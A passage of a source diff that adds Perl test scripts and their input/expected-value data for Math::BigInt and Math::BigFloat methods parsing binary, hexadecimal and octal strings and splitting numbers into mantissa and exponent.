@@ -0,0 +1,128 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 1373;
+
+my $class;
+
+BEGIN { $class = 'Math::BigInt'; }
+BEGIN { use_ok($class); }
+
+my @data;
+my $space = "\t\r\n ";
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($in0, $out0) = split /:/;
+
+ push @data, [ $in0, $out0 ],
+ [ $in0 . $space, $out0 ],
+ [ $space . $in0, $out0 ],
+ [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+ my ($in0, $out0) = @$entry;
+
+ # As class method.
+
+ {
+ my $x;
+ my $test = qq|\$x = $class -> from_bin("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+
+ # As instance method.
+
+ {
+ for my $str ("-1", "0", "1", "-inf", "+inf", "NaN") {
+ my $x;
+ my $test = qq|\$x = $class -> new("$str");|
+ . qq| \$x -> from_bin("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+ }
+}
+
+__END__
+
+0b0:0
+0b1:1
+0b10:2
+0b11:3
+0b100:4
+0b101:5
+0b110:6
+0b111:7
+0b1000:8
+0b1001:9
+0b1010:10
+0b1011:11
+0b1100:12
+0b1101:13
+0b1110:14
+0b1111:15
+0b10000:16
+0b10001:17
+
+0b11111110:254
+0b11111111:255
+0b100000000:256
+0b100000001:257
+
+0b1111111111111110:65534
+0b1111111111111111:65535
+0b10000000000000000:65536
+0b10000000000000001:65537
+
+0b111111111111111111111110:16777214
+0b111111111111111111111111:16777215
+0b1000000000000000000000000:16777216
+0b1000000000000000000000001:16777217
+
+0b11111111111111111111111111111110:4294967294
+0b11111111111111111111111111111111:4294967295
+0b100000000000000000000000000000000:4294967296
+0b100000000000000000000000000000001:4294967297
+
+0b1111111111111111111111111111111111111110:1099511627774
+0b1111111111111111111111111111111111111111:1099511627775
+0b10000000000000000000000000000000000000000:1099511627776
+0b10000000000000000000000000000000000000001:1099511627777
+
+0b111111111111111111111111111111111111111111111110:281474976710654
+0b111111111111111111111111111111111111111111111111:281474976710655
+0b1000000000000000000000000000000000000000000000000:281474976710656
+0b1000000000000000000000000000000000000000000000001:281474976710657
+
+0b11111111111111111111111111111111111111111111111111111110:72057594037927934
+0b11111111111111111111111111111111111111111111111111111111:72057594037927935
+0b100000000000000000000000000000000000000000000000000000000:72057594037927936
+0b100000000000000000000000000000000000000000000000000000001:72057594037927937
+
+NaN:NaN
++inf:NaN
+-inf:NaN
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbf.t
index a15e4fddb18..34b7726b40a 100644
--- a/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbf.t
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbf.t
@@ -3,39 +3,72 @@
use strict;
use warnings;
-use Test::More tests => 27;
+use Test::More tests => 729;
my $class;
BEGIN { $class = 'Math::BigFloat'; }
BEGIN { use_ok($class, '1.999710'); }
+my @data;
+my $space = "\t\r\n ";
+
while (<DATA>) {
s/#.*$//; # remove comments
s/\s+$//; # remove trailing whitespace
next unless length; # skip empty lines
my ($in0, $out0) = split /:/;
- my $x;
- my $test = qq|\$x = $class -> from_hex("$in0");|;
- my $desc = $test;
+ push @data, [ $in0, $out0 ],
+ [ $in0 . $space, $out0 ],
+ [ $space . $in0, $out0 ],
+ [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+ my ($in0, $out0) = @$entry;
+
+ # As class method.
+
+ {
+ my $x;
+ my $test = qq|\$x = $class -> from_hex("$in0");|;
- eval $test;
- die $@ if $@; # this should never happen
+ eval $test;
+ die $@ if $@; # this should never happen
- subtest $desc, sub {
- plan tests => 2,
+ subtest $test, sub {
+ plan tests => 2,
- # Check output.
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
- is(ref($x), $class, "output arg is a $class");
- is($x, $out0, 'output arg has the right value');
- };
+ # As instance method.
+ {
+ for my $str ("-1", "0", "1", "-inf", "+inf", "NaN") {
+ my $x;
+ my $test = qq|\$x = $class -> new("$str");|
+ . qq| \$x -> from_hex("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+ }
}
__END__
+
0x1p+0:1
0x.8p+1:1
0x.4p+2:1
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbi.t
new file mode 100644
index 00000000000..246b455ebdf
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_hex-mbi.t
@@ -0,0 +1,128 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 1373;
+
+my $class;
+
+BEGIN { $class = 'Math::BigInt'; }
+BEGIN { use_ok($class); }
+
+my @data;
+my $space = "\t\r\n ";
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($in0, $out0) = split /:/;
+
+ push @data, [ $in0, $out0 ],
+ [ $in0 . $space, $out0 ],
+ [ $space . $in0, $out0 ],
+ [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+ my ($in0, $out0) = @$entry;
+
+ # As class method.
+
+ {
+ my $x;
+ my $test = qq|\$x = $class -> from_hex("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+
+ # As instance method.
+
+ {
+ for my $str ("-1", "0", "1", "-inf", "+inf", "NaN") {
+ my $x;
+ my $test = qq|\$x = $class -> new("$str");|
+ . qq| \$x -> from_hex("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+ }
+}
+
+__END__
+
+0x0:0
+0x1:1
+0x2:2
+0x3:3
+0x4:4
+0x5:5
+0x6:6
+0x7:7
+0x8:8
+0x9:9
+0xa:10
+0xb:11
+0xc:12
+0xd:13
+0xe:14
+0xf:15
+0x10:16
+0x11:17
+
+0xfe:254
+0xff:255
+0x100:256
+0x101:257
+
+0xfffe:65534
+0xffff:65535
+0x10000:65536
+0x10001:65537
+
+0xfffffe:16777214
+0xffffff:16777215
+0x1000000:16777216
+0x1000001:16777217
+
+0xfffffffe:4294967294
+0xffffffff:4294967295
+0x100000000:4294967296
+0x100000001:4294967297
+
+0xfffffffffe:1099511627774
+0xffffffffff:1099511627775
+0x10000000000:1099511627776
+0x10000000001:1099511627777
+
+0xfffffffffffe:281474976710654
+0xffffffffffff:281474976710655
+0x1000000000000:281474976710656
+0x1000000000001:281474976710657
+
+0xfffffffffffffe:72057594037927934
+0xffffffffffffff:72057594037927935
+0x100000000000000:72057594037927936
+0x100000000000001:72057594037927937
+
+NaN:NaN
++inf:NaN
+-inf:NaN
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_oct-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_oct-mbf.t
new file mode 100644
index 00000000000..685934820c4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_oct-mbf.t
@@ -0,0 +1,102 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 729;
+
+my $class;
+
+BEGIN { $class = 'Math::BigFloat'; }
+BEGIN { use_ok($class, '1.999710'); }
+
+my @data;
+my $space = "\t\r\n ";
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($in0, $out0) = split /:/;
+
+ push @data, [ $in0, $out0 ],
+ [ $in0 . $space, $out0 ],
+ [ $space . $in0, $out0 ],
+ [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+ my ($in0, $out0) = @$entry;
+
+ # As class method.
+
+ {
+ my $x;
+ my $test = qq|\$x = $class -> from_oct("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+
+ # As instance method.
+
+ {
+ for my $str ("-1", "0", "1", "-inf", "+inf", "NaN") {
+ my $x;
+ my $test = qq|\$x = $class -> new("$str");|
+ . qq| \$x -> from_oct("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+ }
+}
+
+__END__
+
+01p+0:1
+0.4p+1:1
+0.2p+2:1
+0.1p+3:1
+0.04p+4:1
+02p-1:1
+04p-2:1
+010p-3:1
+
+-1p+0:-1
+
+0p+0:0
+0p+7:0
+0p-7:0
+0.p+0:0
+.0p+0:0
+0.0p+0:0
+
+145376:51966
+0145376:51966
+00145376:51966
+
+3.1p+2:12.5
+22.15p-1:9.1015625
+-0.361152746757p+32:-2023406814.9375
+44.3212636115p+30:39093746765
+
+NaN:NaN
++inf:NaN
+-inf:NaN
+.p+0:NaN
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_oct-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_oct-mbi.t
new file mode 100644
index 00000000000..6ff650c8b8e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/from_oct-mbi.t
@@ -0,0 +1,128 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 1373;
+
+my $class;
+
+BEGIN { $class = 'Math::BigInt'; }
+BEGIN { use_ok($class); }
+
+my @data;
+my $space = "\t\r\n ";
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($in0, $out0) = split /:/;
+
+ push @data, [ $in0, $out0 ],
+ [ $in0 . $space, $out0 ],
+ [ $space . $in0, $out0 ],
+ [ $space . $in0 . $space, $out0 ];
+}
+
+for my $entry (@data) {
+ my ($in0, $out0) = @$entry;
+
+ # As class method.
+
+ {
+ my $x;
+ my $test = qq|\$x = $class -> from_oct("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+
+ # As instance method.
+
+ {
+ for my $str ("-1", "0", "1", "-inf", "+inf", "NaN") {
+ my $x;
+ my $test = qq|\$x = $class -> new("$str");|
+ . qq| \$x -> from_oct("$in0");|;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $test, sub {
+ plan tests => 2,
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+ }
+ }
+}
+
+__END__
+
+0:0
+1:1
+2:2
+3:3
+4:4
+5:5
+6:6
+7:7
+10:8
+11:9
+12:10
+13:11
+14:12
+15:13
+16:14
+17:15
+20:16
+21:17
+
+376:254
+377:255
+400:256
+401:257
+
+177776:65534
+177777:65535
+200000:65536
+200001:65537
+
+77777776:16777214
+77777777:16777215
+100000000:16777216
+100000001:16777217
+
+37777777776:4294967294
+37777777777:4294967295
+40000000000:4294967296
+40000000001:4294967297
+
+17777777777776:1099511627774
+17777777777777:1099511627775
+20000000000000:1099511627776
+20000000000001:1099511627777
+
+7777777777777776:281474976710654
+7777777777777777:281474976710655
+10000000000000000:281474976710656
+10000000000000001:281474976710657
+
+3777777777777777776:72057594037927934
+3777777777777777777:72057594037927935
+4000000000000000000:72057594037927936
+4000000000000000001:72057594037927937
+
+NaN:NaN
++inf:NaN
+-inf:NaN
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/new-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/new-mbf.t
new file mode 100644
index 00000000000..d1edfd45ff6
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/new-mbf.t
@@ -0,0 +1,119 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 50;
+
+my $class;
+
+BEGIN { $class = 'Math::BigFloat'; }
+BEGIN { use_ok($class, '1.999710'); }
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($in0, $out0) = split /:/;
+ my $x;
+
+ my $test = qq|\$x = $class -> new("$in0");|;
+ my $desc = $test;
+
+ eval $test;
+ die $@ if $@; # this should never happen
+
+ subtest $desc, sub {
+ plan tests => 2,
+
+ # Check output.
+
+ is(ref($x), $class, "output arg is a $class");
+ is($x, $out0, 'output arg has the right value');
+ };
+
+}
+
+__END__
+
+NaN:NaN
+inf:inf
+infinity:inf
++inf:inf
++infinity:inf
+-inf:-inf
+-infinity:-inf
+
+# This is the same data as in from_hex-mbf.t, except that some of them are
+# commented out, since new() only treats input as hexadecimal if it has a "0x"
+# or "0X" prefix, possibly with a leading "+" or "-" sign.
+
+0x1p+0:1
+0x.8p+1:1
+0x.4p+2:1
+0x.2p+3:1
+0x.1p+4:1
+0x2p-1:1
+0x4p-2:1
+0x8p-3:1
+
+-0x1p+0:-1
+
+0x0p+0:0
+0x0p+7:0
+0x0p-7:0
+0x0.p+0:0
+0x.0p+0:0
+0x0.0p+0:0
+
+0xcafe:51966
+#xcafe:51966
+#cafe:51966
+
+0x1.9p+3:12.5
+0x12.34p-1:9.1015625
+-0x.789abcdefp+32:-2023406814.9375
+0x12.3456789ap+31:39093746765
+
+#NaN:NaN
+#+inf:NaN
+#-inf:NaN
+0x.p+0:NaN
+
+# This is the same data as in from_bin-mbf.t, except that some of them are
+# commented out, since new() only treats input as binary if it has a "0b" or
+# "0B" prefix, possibly with a leading "+" or "-" sign. Duplicates from above
+# are also commented out.
+
+0b1p+0:1
+0b.1p+1:1
+0b.01p+2:1
+0b.001p+3:1
+0b.0001p+4:1
+0b10p-1:1
+0b100p-2:1
+0b1000p-3:1
+
+-0b1p+0:-1
+
+0b0p+0:0
+0b0p+7:0
+0b0p-7:0
+0b0.p+0:0
+0b.0p+0:0
+0b0.0p+0:0
+
+0b1100101011111110:51966
+#b1100101011111110:51966
+#1100101011111110:51966
+
+0b1.1001p+3:12.5
+0b10010.001101p-1:9.1015625
+-0b.11110001001101010111100110111101111p+31:-2023406814.9375
+0b10.0100011010001010110011110001001101p+34:39093746765
+
+#NaN:NaN
+#+inf:NaN
+#-inf:NaN
+0b.p+0:NaN
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/nparts-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/nparts-mbf.t
new file mode 100644
index 00000000000..a680628122e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/nparts-mbf.t
@@ -0,0 +1,294 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 1840;
+
+use Math::BigFloat;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $mant_str, $expo_str) = split /:/;
+
+ note(qq|\n\$x = Math::BigFloat -> new("$x_str");|,
+ qq| (\$m, \$e) = \$x -> nparts();\n\n|);
+
+ {
+ my $x = Math::BigFloat -> new($x_str);
+ my ($mant_got, $expo_got) = $x -> nparts();
+
+ isa_ok($mant_got, "Math::BigFloat");
+ isa_ok($expo_got, "Math::BigFloat");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($expo_got, $expo_str, "value of exponent");
+ is($x, $x_str, "input is unmodified");
+ }
+
+ note(qq|\n\$x = Math::BigFloat -> new("$x_str");|,
+ qq| \$m = \$x -> nparts();\n\n|);
+
+ {
+ my $x = Math::BigFloat -> new($x_str);
+ my $mant_got = $x -> nparts();
+
+ isa_ok($mant_got, "Math::BigFloat");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($x, $x_str, "input is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN:NaN
+
+inf:inf:inf
+-inf:-inf:inf
+
+0:0:0
+
+# positive numbers
+
+0.000000000001:1:-12
+0.00000000001:1:-11
+0.0000000001:1:-10
+0.000000001:1:-9
+0.00000001:1:-8
+0.0000001:1:-7
+0.000001:1:-6
+0.00001:1:-5
+0.0001:1:-4
+0.001:1:-3
+0.01:1:-2
+0.1:1:-1
+1:1:0
+10:1:1
+100:1:2
+1000:1:3
+10000:1:4
+100000:1:5
+1000000:1:6
+10000000:1:7
+100000000:1:8
+1000000000:1:9
+10000000000:1:10
+100000000000:1:11
+1000000000000:1:12
+
+0.0000000000012:1.2:-12
+0.000000000012:1.2:-11
+0.00000000012:1.2:-10
+0.0000000012:1.2:-9
+0.000000012:1.2:-8
+0.00000012:1.2:-7
+0.0000012:1.2:-6
+0.000012:1.2:-5
+0.00012:1.2:-4
+0.0012:1.2:-3
+0.012:1.2:-2
+0.12:1.2:-1
+1.2:1.2:0
+12:1.2:1
+120:1.2:2
+1200:1.2:3
+12000:1.2:4
+120000:1.2:5
+1200000:1.2:6
+12000000:1.2:7
+120000000:1.2:8
+1200000000:1.2:9
+12000000000:1.2:10
+120000000000:1.2:11
+1200000000000:1.2:12
+
+0.00000000000123:1.23:-12
+0.0000000000123:1.23:-11
+0.000000000123:1.23:-10
+0.00000000123:1.23:-9
+0.0000000123:1.23:-8
+0.000000123:1.23:-7
+0.00000123:1.23:-6
+0.0000123:1.23:-5
+0.000123:1.23:-4
+0.00123:1.23:-3
+0.0123:1.23:-2
+0.123:1.23:-1
+1.23:1.23:0
+12.3:1.23:1
+123:1.23:2
+1230:1.23:3
+12300:1.23:4
+123000:1.23:5
+1230000:1.23:6
+12300000:1.23:7
+123000000:1.23:8
+1230000000:1.23:9
+12300000000:1.23:10
+123000000000:1.23:11
+1230000000000:1.23:12
+
+0.000000000001234:1.234:-12
+0.00000000001234:1.234:-11
+0.0000000001234:1.234:-10
+0.000000001234:1.234:-9
+0.00000001234:1.234:-8
+0.0000001234:1.234:-7
+0.000001234:1.234:-6
+0.00001234:1.234:-5
+0.0001234:1.234:-4
+0.001234:1.234:-3
+0.01234:1.234:-2
+0.1234:1.234:-1
+1.234:1.234:0
+12.34:1.234:1
+123.4:1.234:2
+1234:1.234:3
+12340:1.234:4
+123400:1.234:5
+1234000:1.234:6
+12340000:1.234:7
+123400000:1.234:8
+1234000000:1.234:9
+12340000000:1.234:10
+123400000000:1.234:11
+1234000000000:1.234:12
+
+0.000003141592:3.141592:-6
+0.00003141592:3.141592:-5
+0.0003141592:3.141592:-4
+0.003141592:3.141592:-3
+0.03141592:3.141592:-2
+0.3141592:3.141592:-1
+3.141592:3.141592:0
+31.41592:3.141592:1
+314.1592:3.141592:2
+3141.592:3.141592:3
+31415.92:3.141592:4
+314159.2:3.141592:5
+3141592:3.141592:6
+
+# negativ: numbers
+
+-0.000000000001:-1:-12
+-0.00000000001:-1:-11
+-0.0000000001:-1:-10
+-0.000000001:-1:-9
+-0.00000001:-1:-8
+-0.0000001:-1:-7
+-0.000001:-1:-6
+-0.00001:-1:-5
+-0.0001:-1:-4
+-0.001:-1:-3
+-0.01:-1:-2
+-0.1:-1:-1
+-1:-1:0
+-10:-1:1
+-100:-1:2
+-1000:-1:3
+-10000:-1:4
+-100000:-1:5
+-1000000:-1:6
+-10000000:-1:7
+-100000000:-1:8
+-1000000000:-1:9
+-10000000000:-1:10
+-100000000000:-1:11
+-1000000000000:-1:12
+
+-0.0000000000012:-1.2:-12
+-0.000000000012:-1.2:-11
+-0.00000000012:-1.2:-10
+-0.0000000012:-1.2:-9
+-0.000000012:-1.2:-8
+-0.00000012:-1.2:-7
+-0.0000012:-1.2:-6
+-0.000012:-1.2:-5
+-0.00012:-1.2:-4
+-0.0012:-1.2:-3
+-0.012:-1.2:-2
+-0.12:-1.2:-1
+-1.2:-1.2:0
+-12:-1.2:1
+-120:-1.2:2
+-1200:-1.2:3
+-12000:-1.2:4
+-120000:-1.2:5
+-1200000:-1.2:6
+-12000000:-1.2:7
+-120000000:-1.2:8
+-1200000000:-1.2:9
+-12000000000:-1.2:10
+-120000000000:-1.2:11
+-1200000000000:-1.2:12
+
+-0.00000000000123:-1.23:-12
+-0.0000000000123:-1.23:-11
+-0.000000000123:-1.23:-10
+-0.00000000123:-1.23:-9
+-0.0000000123:-1.23:-8
+-0.000000123:-1.23:-7
+-0.00000123:-1.23:-6
+-0.0000123:-1.23:-5
+-0.000123:-1.23:-4
+-0.00123:-1.23:-3
+-0.0123:-1.23:-2
+-0.123:-1.23:-1
+-1.23:-1.23:0
+-12.3:-1.23:1
+-123:-1.23:2
+-1230:-1.23:3
+-12300:-1.23:4
+-123000:-1.23:5
+-1230000:-1.23:6
+-12300000:-1.23:7
+-123000000:-1.23:8
+-1230000000:-1.23:9
+-12300000000:-1.23:10
+-123000000000:-1.23:11
+-1230000000000:-1.23:12
+
+-0.000000000001234:-1.234:-12
+-0.00000000001234:-1.234:-11
+-0.0000000001234:-1.234:-10
+-0.000000001234:-1.234:-9
+-0.00000001234:-1.234:-8
+-0.0000001234:-1.234:-7
+-0.000001234:-1.234:-6
+-0.00001234:-1.234:-5
+-0.0001234:-1.234:-4
+-0.001234:-1.234:-3
+-0.01234:-1.234:-2
+-0.1234:-1.234:-1
+-1.234:-1.234:0
+-12.34:-1.234:1
+-123.4:-1.234:2
+-1234:-1.234:3
+-12340:-1.234:4
+-123400:-1.234:5
+-1234000:-1.234:6
+-12340000:-1.234:7
+-123400000:-1.234:8
+-1234000000:-1.234:9
+-12340000000:-1.234:10
+-123400000000:-1.234:11
+-1234000000000:-1.234:12
+
+-0.000003141592:-3.141592:-6
+-0.00003141592:-3.141592:-5
+-0.0003141592:-3.141592:-4
+-0.003141592:-3.141592:-3
+-0.03141592:-3.141592:-2
+-0.3141592:-3.141592:-1
+-3.141592:-3.141592:0
+-31.41592:-3.141592:1
+-314.1592:-3.141592:2
+-3141.592:-3.141592:3
+-31415.92:-3.141592:4
+-314159.2:-3.141592:5
+-3141592:-3.141592:6
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/nparts-mbi.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/nparts-mbi.t
new file mode 100644
index 00000000000..c2f41f3a083
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/nparts-mbi.t
@@ -0,0 +1,162 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 784;
+
+use Math::BigInt;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $mant_str, $expo_str) = split /:/;
+
+ note(qq|\n\$x = Math::BigInt -> new("$x_str");|,
+ qq| (\$m, \$e) = \$x -> nparts();\n\n|);
+
+ {
+ my $x = Math::BigInt -> new($x_str);
+ my ($mant_got, $expo_got) = $x -> nparts();
+
+ isa_ok($mant_got, "Math::BigInt");
+ isa_ok($expo_got, "Math::BigInt");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($expo_got, $expo_str, "value of exponent");
+ is($x, $x_str, "input is unmodified");
+ }
+
+ note(qq|\n\$x = Math::BigInt -> new("$x_str");|,
+ qq| \$m = \$x -> nparts();\n\n|);
+
+ {
+ my $x = Math::BigInt -> new($x_str);
+ my $mant_got = $x -> nparts();
+
+ isa_ok($mant_got, "Math::BigInt");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($x, $x_str, "input is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN:NaN
+
+inf:inf:inf
+-inf:-inf:inf
+
+0:0:0
+
+# positive numbers
+
+1:1:0
+10:1:1
+100:1:2
+1000:1:3
+10000:1:4
+100000:1:5
+1000000:1:6
+10000000:1:7
+100000000:1:8
+1000000000:1:9
+10000000000:1:10
+100000000000:1:11
+1000000000000:1:12
+
+12:NaN:1
+120:NaN:2
+1200:NaN:3
+12000:NaN:4
+120000:NaN:5
+1200000:NaN:6
+12000000:NaN:7
+120000000:NaN:8
+1200000000:NaN:9
+12000000000:NaN:10
+120000000000:NaN:11
+1200000000000:NaN:12
+
+123:NaN:2
+1230:NaN:3
+12300:NaN:4
+123000:NaN:5
+1230000:NaN:6
+12300000:NaN:7
+123000000:NaN:8
+1230000000:NaN:9
+12300000000:NaN:10
+123000000000:NaN:11
+1230000000000:NaN:12
+
+1234:NaN:3
+12340:NaN:4
+123400:NaN:5
+1234000:NaN:6
+12340000:NaN:7
+123400000:NaN:8
+1234000000:NaN:9
+12340000000:NaN:10
+123400000000:NaN:11
+1234000000000:NaN:12
+
+3141592:NaN:6
+
+# negativ: numbers
+
+-1:-1:0
+-10:-1:1
+-100:-1:2
+-1000:-1:3
+-10000:-1:4
+-100000:-1:5
+-1000000:-1:6
+-10000000:-1:7
+-100000000:-1:8
+-1000000000:-1:9
+-10000000000:-1:10
+-100000000000:-1:11
+-1000000000000:-1:12
+
+-12:NaN:1
+-120:NaN:2
+-1200:NaN:3
+-12000:NaN:4
+-120000:NaN:5
+-1200000:NaN:6
+-12000000:NaN:7
+-120000000:NaN:8
+-1200000000:NaN:9
+-12000000000:NaN:10
+-120000000000:NaN:11
+-1200000000000:NaN:12
+
+-123:NaN:2
+-1230:NaN:3
+-12300:NaN:4
+-123000:NaN:5
+-1230000:NaN:6
+-12300000:NaN:7
+-123000000:NaN:8
+-1230000000:NaN:9
+-12300000000:NaN:10
+-123000000000:NaN:11
+-1230000000000:NaN:12
+
+-1234:NaN:3
+-12340:NaN:4
+-123400:NaN:5
+-1234000:NaN:6
+-12340000:NaN:7
+-123400000:NaN:8
+-1234000000:NaN:9
+-12340000000:NaN:10
+-123400000000:NaN:11
+-1234000000000:NaN:12
+
+-3141592:NaN:6
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/t/sparts-mbf.t b/gnu/usr.bin/perl/cpan/Math-BigInt/t/sparts-mbf.t
new file mode 100644
index 00000000000..ac8cc761e7b
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/t/sparts-mbf.t
@@ -0,0 +1,294 @@
+#!perl
+
+use strict;
+use warnings;
+
+use Test::More tests => 1840;
+
+use Math::BigFloat;
+
+while (<DATA>) {
+ s/#.*$//; # remove comments
+ s/\s+$//; # remove trailing whitespace
+ next unless length; # skip empty lines
+
+ my ($x_str, $mant_str, $expo_str) = split /:/;
+
+ note(qq|\n\$x = Math::BigFloat -> new("$x_str");|,
+ qq| (\$m, \$e) = \$x -> sparts();\n\n|);
+
+ {
+ my $x = Math::BigFloat -> new($x_str);
+ my ($mant_got, $expo_got) = $x -> sparts();
+
+ isa_ok($mant_got, "Math::BigFloat");
+ isa_ok($expo_got, "Math::BigFloat");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($expo_got, $expo_str, "value of exponent");
+ is($x, $x_str, "input is unmodified");
+ }
+
+ note(qq|\n\$x = Math::BigFloat -> new("$x_str");|,
+ qq| \$m = \$x -> sparts();\n\n|);
+
+ {
+ my $x = Math::BigFloat -> new($x_str);
+ my $mant_got = $x -> sparts();
+
+ isa_ok($mant_got, "Math::BigFloat");
+
+ is($mant_got, $mant_str, "value of mantissa");
+ is($x, $x_str, "input is unmodified");
+ }
+
+}
+
+__DATA__
+
+NaN:NaN:NaN
+
+inf:inf:inf
+-inf:-inf:inf
+
+0:0:0
+
+# positive numbers
+
+0.000000000001:1:-12
+0.00000000001:1:-11
+0.0000000001:1:-10
+0.000000001:1:-9
+0.00000001:1:-8
+0.0000001:1:-7
+0.000001:1:-6
+0.00001:1:-5
+0.0001:1:-4
+0.001:1:-3
+0.01:1:-2
+0.1:1:-1
+1:1:0
+10:1:1
+100:1:2
+1000:1:3
+10000:1:4
+100000:1:5
+1000000:1:6
+10000000:1:7
+100000000:1:8
+1000000000:1:9
+10000000000:1:10
+100000000000:1:11
+1000000000000:1:12
+
+0.0000000000012:12:-13
+0.000000000012:12:-12
+0.00000000012:12:-11
+0.0000000012:12:-10
+0.000000012:12:-9
+0.00000012:12:-8
+0.0000012:12:-7
+0.000012:12:-6
+0.00012:12:-5
+0.0012:12:-4
+0.012:12:-3
+0.12:12:-2
+1.2:12:-1
+12:12:0
+120:12:1
+1200:12:2
+12000:12:3
+120000:12:4
+1200000:12:5
+12000000:12:6
+120000000:12:7
+1200000000:12:8
+12000000000:12:9
+120000000000:12:10
+1200000000000:12:11
+
+0.00000000000123:123:-14
+0.0000000000123:123:-13
+0.000000000123:123:-12
+0.00000000123:123:-11
+0.0000000123:123:-10
+0.000000123:123:-9
+0.00000123:123:-8
+0.0000123:123:-7
+0.000123:123:-6
+0.00123:123:-5
+0.0123:123:-4
+0.123:123:-3
+1.23:123:-2
+12.3:123:-1
+123:123:0
+1230:123:1
+12300:123:2
+123000:123:3
+1230000:123:4
+12300000:123:5
+123000000:123:6
+1230000000:123:7
+12300000000:123:8
